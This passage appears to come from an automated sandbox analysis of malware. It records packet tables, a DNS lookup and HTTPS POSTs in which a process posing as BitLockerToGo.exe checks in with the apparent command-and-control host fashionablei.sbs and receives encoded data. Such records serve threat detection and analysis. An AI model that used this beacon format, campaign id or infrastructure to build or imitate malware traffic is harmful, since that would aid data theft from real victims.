Oct 26, 2024 16:00:28.885706902 CEST	443	49739	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:28.885818005 CEST	49739	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:28.887638092 CEST	49739	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:28.887649059 CEST	443	49739	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:28.888005972 CEST	443	49739	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:28.889857054 CEST	49739	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:28.890072107 CEST	49739	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:28.890103102 CEST	443	49739	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:29.426445961 CEST	443	49739	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:29.426564932 CEST	443	49739	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:29.426651955 CEST	49739	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:29.426800013 CEST	49739	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:29.426839113 CEST	443	49739	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:29.754518986 CEST	49740	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:29.754590988 CEST	443	49740	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:29.754702091 CEST	49740	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:29.755165100 CEST	49740	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:29.755182028 CEST	443	49740	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:30.373938084 CEST	443	49740	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:30.374097109 CEST	49740	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:30.446027994 CEST	49740	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:30.446079016 CEST	443	49740	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:30.446432114 CEST	443	49740	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:30.447985888 CEST	49740	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:30.448765039 CEST	49740	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:30.448808908 CEST	443	49740	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:30.448893070 CEST	49740	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:30.448909044 CEST	443	49740	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:31.121191025 CEST	443	49740	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:31.121345043 CEST	443	49740	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:31.121452093 CEST	49740	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:31.121572018 CEST	49740	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:31.121608973 CEST	443	49740	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:31.594070911 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:31.594197035 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:31.594321012 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:31.594728947 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:31.594767094 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:32.208416939 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:32.208569050 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:32.210498095 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:32.210529089 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:32.211026907 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:32.212292910 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:32.212434053 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:32.212475061 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:33.476890087 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:33.477010965 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:33.477097034 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:33.477205992 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:33.477247953 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:33.543334007 CEST	49742	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:33.543381929 CEST	443	49742	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:33.543476105 CEST	49742	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:33.544111967 CEST	49742	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:33.544130087 CEST	443	49742	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:35.149179935 CEST	443	49742	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:35.149312973 CEST	49742	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:35.151385069 CEST	49742	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:35.151438951 CEST	443	49742	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:35.151973963 CEST	443	49742	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:35.153600931 CEST	49742	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:35.153717995 CEST	49742	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:35.153836012 CEST	443	49742	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:35.648463011 CEST	443	49742	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:35.648564100 CEST	443	49742	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:35.648853064 CEST	49742	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:35.648853064 CEST	49742	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:35.717957020 CEST	49743	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:35.718055010 CEST	443	49743	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:35.718159914 CEST	49743	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:35.718571901 CEST	49743	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:35.718605995 CEST	443	49743	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:35.954411030 CEST	49742	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:35.954513073 CEST	443	49742	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:36.343687057 CEST	443	49743	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:36.343799114 CEST	49743	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:36.345578909 CEST	49743	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:36.345591068 CEST	443	49743	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:36.346035004 CEST	443	49743	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:36.347387075 CEST	49743	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:36.347518921 CEST	49743	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:36.347526073 CEST	443	49743	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:37.077028990 CEST	443	49743	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:37.077135086 CEST	443	49743	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:37.077318907 CEST	49743	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:37.081160069 CEST	49743	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:37.081176996 CEST	443	49743	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:37.323565960 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:37.323615074 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:37.323712111 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:37.323966980 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:37.323980093 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:37.950014114 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:37.950097084 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:37.951819897 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:37.951849937 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:37.952194929 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:37.953634024 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:37.953711987 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:37.953723907 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:38.655114889 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:38.655232906 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:38.655344009 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:38.656845093 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:38.656889915 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:38.681190014 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:38.681273937 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:38.681406975 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:38.681762934 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:38.681780100 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:39.307857990 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:39.307991982 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:39.309767008 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:39.309783936 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:39.310031891 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:39.311739922 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:39.311779976 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:39.311830997 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:40.586007118 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:40.586143970 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:40.586260080 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:40.586353064 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:40.586368084 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 26, 2024 16:00:40.586384058 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 26, 2024 16:00:40.586390018 CEST	443	49745	188.114.97.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 16:00:23.650408983 CEST	51571	53	192.168.2.4	1.1.1.1
Oct 26, 2024 16:00:23.663602114 CEST	53	51571	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 16:00:23.650408983 CEST	192.168.2.4	1.1.1.1	0x11f9	Standard query (0)	fashionablei.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 16:00:23.663602114 CEST	1.1.1.1	192.168.2.4	0x11f9	No error (0)	fashionablei.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 26, 2024 16:00:23.663602114 CEST	1.1.1.1	192.168.2.4	0x11f9	No error (0)	fashionablei.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fashionablei.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	188.114.97.3	443	3848	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:00:24 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fashionablei.sbs
2024-10-26 14:00:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 14:00:25 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:00:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ou0m0vamrcokp5rhbin4qbe1j2; expires=Wed, 19 Feb 2025 07:47:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VpLffSF4weMMLPichz3Bj8Auj4AuDnwwFrnP32F9G6%2BSpdUy0%2FvTi2EreZ5%2F2EbsNVL3gP9QxMQ%2FUH%2F%2BY3i1p9UMdz9ZSxooZN2eD5sYNbCT5hbTuv5FSluvR%2BtBEe4DRK%2BT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8af8f3a8cee7bf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1402&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=2097031&cwnd=251&unsent_bytes=0&cid=3a9a721b299b1d13&ts=1049&x=0"
2024-10-26 14:00:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 14:00:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	188.114.97.3	443	3848	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:00:26 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 75 Host: fashionablei.sbs
2024-10-26 14:00:26 UTC	75	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 74 4c 59 4d 65 35 2d 2d 32 26 6a 3d 35 63 39 62 38 36 37 34 61 36 33 30 64 39 31 30 31 62 34 36 37 33 33 61 61 33 37 66 31 35 65 63 Data Ascii: act=recive_message&ver=4.0&lid=tLYMe5--2&j=5c9b8674a630d9101b46733aa37f15ec
2024-10-26 14:00:26 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:00:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=62qpeb4qtr1b5hb6vin6blep0t; expires=Wed, 19 Feb 2025 07:47:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HJOL6DgKEbRw0ceIyvj6tzeYUZ%2FbkwmAE%2FsXioF8z%2F6E8C0kCaPfbaC3or%2Fkev0j3nt8A6sRohMe7UTgQbFCcw8D%2FS09ne%2Fcmpxp02v8W8uORJM2yzgiYfVtOom690ltp6K3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8af8faf806479d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1882&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=975&delivery_rate=1529039&cwnd=241&unsent_bytes=0&cid=4ece921894d983df&ts=496&x=0"
2024-10-26 14:00:26 UTC	356	IN	Data Raw: 34 65 30 0d 0a 6c 2f 6e 42 48 4a 34 41 4e 54 75 63 43 69 79 66 50 38 52 44 63 67 65 6f 64 56 6d 73 62 6c 2f 70 48 43 41 39 38 4c 4d 44 7a 66 76 73 32 37 63 2b 70 44 51 5a 47 65 39 76 44 71 56 5a 70 53 38 42 59 6f 52 58 4f 4d 68 4d 5a 59 39 39 54 45 36 56 6e 79 47 37 6c 72 58 44 70 33 33 79 63 31 41 58 76 6d 39 55 76 51 57 66 4f 46 42 69 78 6c 64 6a 6a 67 73 31 69 33 31 4d 58 35 48 59 62 4c 32 58 39 4a 47 74 65 2f 5a 6c 56 6c 2f 39 5a 6b 48 36 57 71 45 69 47 47 6e 42 47 44 48 42 54 48 50 4c 65 56 6f 66 79 70 46 4f 71 49 2f 32 74 4b 42 76 39 53 4a 49 46 2b 63 6f 53 66 45 64 2f 6d 45 54 59 73 6f 5a 50 38 67 46 4e 34 46 30 52 46 36 55 32 58 4f 6b 6e 66 2b 52 6f 33 6a 33 62 31 39 4c 38 47 78 47 38 56 79 72 49 6c 41 72 69 68 41 6a 6a 6c 52 39 32 45 78 42 54 6f Data Ascii: 4e0l/nBHJ4ANTucCiyfP8RDcgeodVmsbl/pHCA98LMDzfvs27c+pDQZGe9vDqVZpS8BYoRXOMhMZY99TE6VnyG7lrXDp33yc1AXvm9UvQWfOFBixldjjgs1i31MX5HYbL2X9JGte/ZlVl/9ZkH6WqEiGGnBGDHBTHPLeVofypFOqI/2tKBv9SJIF+coSfEd/mETYsoZP8gFN4F0RF6U2XOknf+Ro3j3b19L8GxG8VyrIlArihAjjlR92ExBTo
2024-10-26 14:00:26 UTC	899	IN	Data Raw: 5a 37 47 42 46 39 6c 69 30 4b 68 6c 6f 78 78 63 32 78 41 4d 2b 69 33 6c 49 56 5a 33 62 5a 61 4b 55 38 35 75 6a 50 72 49 69 55 45 47 2b 4d 41 37 65 57 4c 59 6d 48 48 4f 49 4c 58 76 52 51 69 54 4c 65 55 34 66 79 70 46 70 71 70 72 32 6b 4b 78 39 39 47 6c 46 57 65 78 75 51 2f 68 50 6f 43 51 65 62 38 6b 46 4d 63 41 4b 50 6f 4a 31 53 31 71 56 31 53 48 68 32 66 4b 44 34 79 61 38 51 31 70 53 38 6d 4a 5a 2f 52 32 35 62 77 6b 6c 7a 52 74 37 6c 6b 77 35 69 6e 70 44 57 35 7a 66 5a 61 4f 66 2b 35 61 73 65 50 5a 69 55 46 50 32 59 45 2f 77 56 71 6b 68 46 57 6a 4f 45 54 66 50 43 58 33 46 50 6b 56 48 30 6f 6b 68 67 5a 37 32 69 65 46 4c 2f 32 78 5a 58 75 67 6f 55 62 4e 45 35 69 59 63 4a 5a 4a 58 4e 63 73 44 4c 34 70 73 52 31 47 41 33 57 53 70 6c 50 61 56 6f 33 76 37 62 31 Data Ascii: Z7GBF9li0Khloxxc2xAM+i3lIVZ3bZaKU85ujPrIiUEG+MA7eWLYmHHOILXvRQiTLeU4fypFpqpr2kKx99GlFWexuQ/hPoCQeb8kFMcAKPoJ1S1qV1SHh2fKD4ya8Q1pS8mJZ/R25bwklzRt7lkw5inpDW5zfZaOf+5asePZiUFP2YE/wVqkhFWjOETfPCX3FPkVH0okhgZ72ieFL/2xZXugoUbNE5iYcJZJXNcsDL4psR1GA3WSplPaVo3v7b1
2024-10-26 14:00:26 UTC	1369	IN	Data Raw: 33 39 30 63 0d 0a 39 32 46 48 37 31 65 71 4c 77 4a 6f 77 42 49 31 77 67 6b 79 69 33 39 44 55 5a 6a 61 49 65 48 5a 38 6f 50 6a 4a 72 78 4e 57 6b 6e 73 59 6b 58 73 48 35 4d 69 48 6d 76 4e 41 58 76 52 51 69 54 4c 65 55 34 66 79 70 46 71 71 5a 58 35 6d 36 56 73 38 6d 31 46 55 2b 78 73 51 50 6c 52 71 43 67 64 61 73 38 46 50 38 34 65 50 49 35 35 54 46 4b 41 31 43 48 68 32 66 4b 44 34 79 61 38 57 47 4e 65 37 6e 6c 4a 76 32 69 6c 4c 78 35 69 33 46 63 6b 67 42 56 39 6a 48 49 43 42 39 4c 53 62 61 4b 51 38 4a 53 78 64 50 42 6a 52 56 37 33 59 55 54 38 55 36 6b 71 48 47 44 59 48 44 54 47 41 7a 79 47 63 30 6c 62 6b 70 45 76 37 35 37 74 32 2f 73 2b 33 57 39 59 53 2f 31 35 44 4d 68 65 71 43 38 58 63 34 6f 49 64 64 64 4d 4f 6f 63 2b 47 68 2b 54 33 57 32 75 6c 76 4f 52 71 Data Ascii: 390c92FH71eqLwJowBI1wgkyi39DUZjaIeHZ8oPjJrxNWknsYkXsH5MiHmvNAXvRQiTLeU4fypFqqZX5m6Vs8m1FU+xsQPlRqCgdas8FP84ePI55TFKA1CHh2fKD4ya8WGNe7nlJv2ilLx5i3FckgBV9jHICB9LSbaKQ8JSxdPBjRV73YUT8U6kqHGDYHDTGAzyGc0lbkpEv757t2/s+3W9YS/15DMheqC8Xc4oIdddMOoc+Gh+T3W2ulvORq
2024-10-26 14:00:26 UTC	1369	IN	Data Raw: 54 58 66 35 6c 52 66 4e 54 72 79 30 59 61 63 30 46 4e 73 73 45 4e 34 4a 37 54 6c 4b 52 77 32 4b 75 32 62 76 62 70 47 61 38 4f 68 64 2b 7a 56 39 74 76 55 4c 6f 4f 46 42 69 78 6c 64 6a 6a 67 30 31 6a 48 42 47 54 5a 7a 44 62 36 69 5a 38 35 4f 72 65 66 42 73 57 55 76 32 61 55 37 7a 55 71 34 6f 46 47 54 4f 45 7a 66 4a 54 48 50 4c 65 56 6f 66 79 70 46 4a 72 49 50 76 32 59 31 31 2f 47 56 48 54 2b 55 6f 55 62 4e 45 35 69 59 63 4a 5a 4a 58 50 38 55 47 4e 49 68 33 52 6c 4b 53 32 47 36 6d 6b 66 69 54 73 58 2f 32 63 46 4e 63 2f 32 64 45 2b 56 57 71 4c 68 78 68 32 42 78 37 67 45 77 36 6b 7a 34 61 48 37 4c 61 64 34 79 4c 35 39 75 38 4d 4f 55 69 55 46 57 2b 4d 41 37 30 55 61 63 67 47 6d 50 42 45 6a 62 4f 43 54 65 4d 63 6b 4a 66 6b 64 64 6e 6f 70 48 39 6c 36 39 39 38 57 Data Ascii: TXf5lRfNTry0Yac0FNssEN4J7TlKRw2Ku2bvbpGa8Ohd+zV9tvULoOFBixldjjg01jHBGTZzDb6iZ85OrefBsWUv2aU7zUq4oFGTOEzfJTHPLeVofypFJrIPv2Y11/GVHT+UoUbNE5iYcJZJXP8UGNIh3RlKS2G6mkfiTsX/2cFNc/2dE+VWqLhxh2Bx7gEw6kz4aH7Lad4yL59u8MOUiUFW+MA70UacgGmPBEjbOCTeMckJfkddnopH9l6998W
2024-10-26 14:00:26 UTC	1369	IN	Data Raw: 62 6b 44 38 57 36 6f 73 55 43 75 4b 45 43 4f 4f 56 48 32 73 5a 45 39 5a 68 63 42 55 71 4a 6d 6b 32 37 77 77 35 53 4a 51 56 62 34 77 44 76 42 52 72 43 77 56 59 63 49 51 4f 4d 38 41 4f 59 5a 7a 52 6c 61 57 31 48 4f 39 6e 2f 75 62 72 48 44 7a 62 6b 56 58 2b 32 68 43 76 52 50 6d 4a 67 67 6c 6b 6c 63 4b 32 51 78 39 6c 44 42 62 48 35 58 64 49 66 66 5a 2b 70 61 78 63 76 4e 69 56 6c 72 36 59 30 6e 37 57 36 63 69 46 57 62 50 45 54 72 4f 41 44 65 4d 64 6b 68 52 6e 39 64 6c 71 5a 2b 31 31 65 4e 35 35 43 49 50 47 63 78 6c 51 50 52 65 6f 43 77 47 54 66 74 58 4a 49 41 56 66 59 78 79 41 67 66 53 31 57 71 6e 6c 66 43 54 70 6e 2f 30 61 46 39 57 38 58 70 50 38 6c 53 68 4b 68 31 71 78 42 49 31 33 41 73 32 67 48 5a 4c 55 5a 53 52 4c 2b 2b 65 37 64 76 37 50 73 70 68 57 56 4c Data Ascii: bkD8W6osUCuKECOOVH2sZE9ZhcBUqJmk27ww5SJQVb4wDvBRrCwVYcIQOM8AOYZzRlaW1HO9n/ubrHDzbkVX+2hCvRPmJgglklcK2Qx9lDBbH5XdIffZ+paxcvNiVlr6Y0n7W6ciFWbPETrOADeMdkhRn9dlqZ+11eN55CIPGcxlQPReoCwGTftXJIAVfYxyAgfS1WqnlfCTpn/0aF9W8XpP8lShKh1qxBI13As2gHZLUZSRL++e7dv7PsphWVL
2024-10-26 14:00:26 UTC	1369	IN	Data Raw: 30 2b 6e 4c 6c 41 72 69 68 41 6a 6a 6c 52 39 75 6d 68 46 57 4a 32 54 53 4b 69 43 39 4a 47 67 64 66 41 69 53 42 66 6e 4b 45 6e 78 48 66 35 68 48 57 6e 48 45 79 6e 43 44 44 32 43 65 55 68 4e 6e 64 35 73 72 4a 6e 77 69 61 4a 73 38 32 6c 53 57 76 70 6e 51 66 46 56 72 47 46 65 4a 63 30 50 65 35 5a 4d 45 59 68 76 53 42 32 31 79 33 65 6f 6c 65 53 51 72 6e 4b 38 66 52 6c 41 76 6d 39 43 76 51 58 6d 49 52 46 6f 32 42 49 36 78 41 59 77 67 33 46 48 57 70 33 56 5a 61 53 58 35 35 57 73 66 76 70 70 56 6c 7a 39 59 30 54 7a 56 4c 52 68 58 69 58 4e 44 33 75 57 54 42 65 51 66 30 39 54 30 50 39 71 75 5a 36 33 75 71 31 31 2b 32 35 42 47 65 45 6d 56 37 31 61 71 6d 46 49 4a 63 4d 5a 4e 38 30 4c 4e 59 4e 37 51 6c 53 53 33 6d 75 68 6e 75 65 52 72 33 54 75 62 56 52 55 2b 6d 56 45 Data Ascii: 0+nLlArihAjjlR9umhFWJ2TSKiC9JGgdfAiSBfnKEnxHf5hHWnHEynCDD2CeUhNnd5srJnwiaJs82lSWvpnQfFVrGFeJc0Pe5ZMEYhvSB21y3eoleSQrnK8fRlAvm9CvQXmIRFo2BI6xAYwg3FHWp3VZaSX55WsfvppVlz9Y0TzVLRhXiXND3uWTBeQf09T0P9quZ63uq11+25BGeEmV71aqmFIJcMZN80LNYN7QlSS3muhnueRr3TubVRU+mVE
2024-10-26 14:00:26 UTC	1369	IN	Data Raw: 38 59 64 38 6c 58 64 59 34 4c 4a 63 73 6d 41 6d 32 59 30 6d 32 35 6c 50 72 62 76 44 44 6c 49 6c 42 56 76 6a 41 4f 37 30 2b 6d 4b 68 42 69 78 41 55 36 78 67 4d 33 69 33 68 4a 56 5a 48 59 5a 61 47 51 38 35 71 75 66 2f 31 69 55 6c 6e 33 65 6b 4f 39 45 2b 59 6d 43 43 57 53 56 77 7a 43 42 77 79 49 61 41 4a 41 33 4d 67 68 71 4a 57 31 77 2b 4e 2f 37 6d 39 66 58 66 35 6c 53 50 5a 63 70 79 49 51 5a 63 6b 58 50 73 55 44 4f 34 78 7a 53 46 61 62 77 32 6d 72 69 2f 57 58 70 7a 36 79 49 6c 42 42 76 6a 41 4f 7a 56 36 74 4c 52 42 6f 33 31 63 6b 67 42 56 39 6a 48 49 43 42 39 4c 5a 61 71 53 66 2f 70 69 67 63 50 64 6f 57 46 62 30 62 6b 6a 31 57 4b 59 74 45 47 44 4d 45 7a 2f 41 43 7a 4f 47 66 31 42 63 6d 35 45 76 37 35 37 74 32 2f 73 2b 33 47 6c 42 58 50 6c 2b 44 4d 68 65 71 Data Ascii: 8Yd8lXdY4LJcsmAm2Y0m25lPrbvDDlIlBVvjAO70+mKhBixAU6xgM3i3hJVZHYZaGQ85quf/1iUln3ekO9E+YmCCWSVwzCBwyIaAJA3MghqJW1w+N/7m9fXf5lSPZcpyIQZckXPsUDO4xzSFabw2mri/WXpz6yIlBBvjAOzV6tLRBo31ckgBV9jHICB9LZaqSf/pigcPdoWFb0bkj1WKYtEGDMEz/ACzOGf1Bcm5Ev757t2/s+3GlBXPl+DMheq
2024-10-26 14:00:26 UTC	1369	IN	Data Raw: 62 41 54 6a 59 43 33 47 44 62 30 39 54 30 75 34 76 37 34 47 31 77 2b 4e 4c 2f 32 78 5a 58 75 68 35 41 39 31 57 71 69 49 63 5a 4d 31 58 64 59 34 4b 66 64 4d 74 44 42 2b 57 77 43 48 33 79 61 66 41 39 69 32 72 4d 67 56 47 73 48 45 4f 36 78 33 2b 63 31 34 6c 32 46 64 6a 6a 6b 73 2b 6d 57 78 45 58 49 54 53 4a 70 47 6e 39 4a 61 73 4d 76 4a 70 56 31 37 75 66 6c 57 78 56 61 55 37 43 6c 76 30 50 44 66 49 43 79 65 4d 65 47 52 2f 30 70 38 68 6f 4e 6d 74 6f 75 4d 32 76 46 30 5a 47 65 59 6f 46 72 31 6f 70 53 38 65 59 74 77 47 64 75 59 76 42 37 45 38 62 6c 69 48 6b 31 57 6f 69 65 53 51 72 6e 4b 38 4c 42 64 66 76 6a 41 65 73 78 32 69 4d 46 41 39 6d 